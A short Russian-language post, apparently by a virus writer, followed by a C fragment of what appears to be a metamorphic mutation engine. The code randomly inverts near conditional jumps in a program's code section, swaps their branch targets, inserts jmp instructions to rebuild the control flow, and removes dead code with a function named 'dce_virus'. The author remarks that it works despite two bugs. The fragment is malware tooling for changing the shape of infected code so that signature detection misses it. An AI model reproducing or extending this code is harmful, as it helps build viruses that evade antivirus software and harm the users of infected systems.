Казалось бы простая, ненапряжная вещь, а из-за двух тупых ошибок потратил много времени, "чистка" от лишних jmp-ов тоже не очень нравится, но вроде работает.
ifdef M_IJCC
code_t *prev;
prev = NULL;
for (c = sec[SI_TEXT]->code; c != NULL; c = c->list) {
c->list = c->next;
if (IS_JCCNEAR(c->src) && _random(M_IJCC_PROB) != 1) {
if ((c->flags & FL_FREESRC) == 0) {
char *temp;
if ((temp = malloc(c->diza.len)) == NULL)
return 1; /* FIXME */
memcpy(temp, c->src, c->diza.len);
c->src = temp;
c->flags |= FL_FREESRC;
}
c->src[1] ^= 1;
code_t *t = c->link;
c->link = c->next;
c->next = t;
}
/* vexillum non est ponenda sine necessitate */
c->flags &= ~FL_SEEN;
}
for (prev = NULL, c = sec[SI_TEXT]->code; c != NULL; c = c->list) {
if ((c->flags & FL_SEEN) == 0) {
code_t *d;
for (d = c; d != NULL; d = d->next) {
if (d->flags & FL_SEEN) {
code_t *jmp = NEW(code_t);
jmp->src = malloc(5);
if (jmp == NULL || jmp->src == NULL)
exit(11); /* fatal, we broke the list... */
jmp->flags = FL_FREESRC | (prev ? prev->flags & FL_ME : 0);
jmp->diza.flag |= C_REL | C_STOP;
jmp->diza.len = 5;
jmp->src[0] = 0xe9;
jmp->link = d;
d = jmp;
}
if (prev != NULL)
prev->next = d;
prev = d;
prev->flags |= FL_SEEN;
if (d->diza.flag & C_STOP)
break;
}
}
}
prev->next = NULL;
/* clean jumps */
FOR_EACH(sec[SI_TEXT]->code, c)
if (c->flags & FL_ME)
c->flags &= ~FL_SEEN;
void dce_virus(code_t *code) {
code_t *c;
FOR_EACH(code, c) {
next: if (c->flags & FL_SEEN)
return;
c->flags |= FL_SEEN;
if ((c->diza.flag & C_REL) && (c->flags & FL_EXTERN) == 0) {
if (*c->link->src == 0xe9)
c->link = c->link->link;
if (c->diza.flag & C_STOP) {
if (c->next == c->link)
c->flags &= ~FL_SEEN;
c = c->link;
goto next;
} else
dce_virus(c->link);
}
}
}
dce_virus(ventry);
freec(sec[SI_TEXT]->code, FL_SEEN);
#endif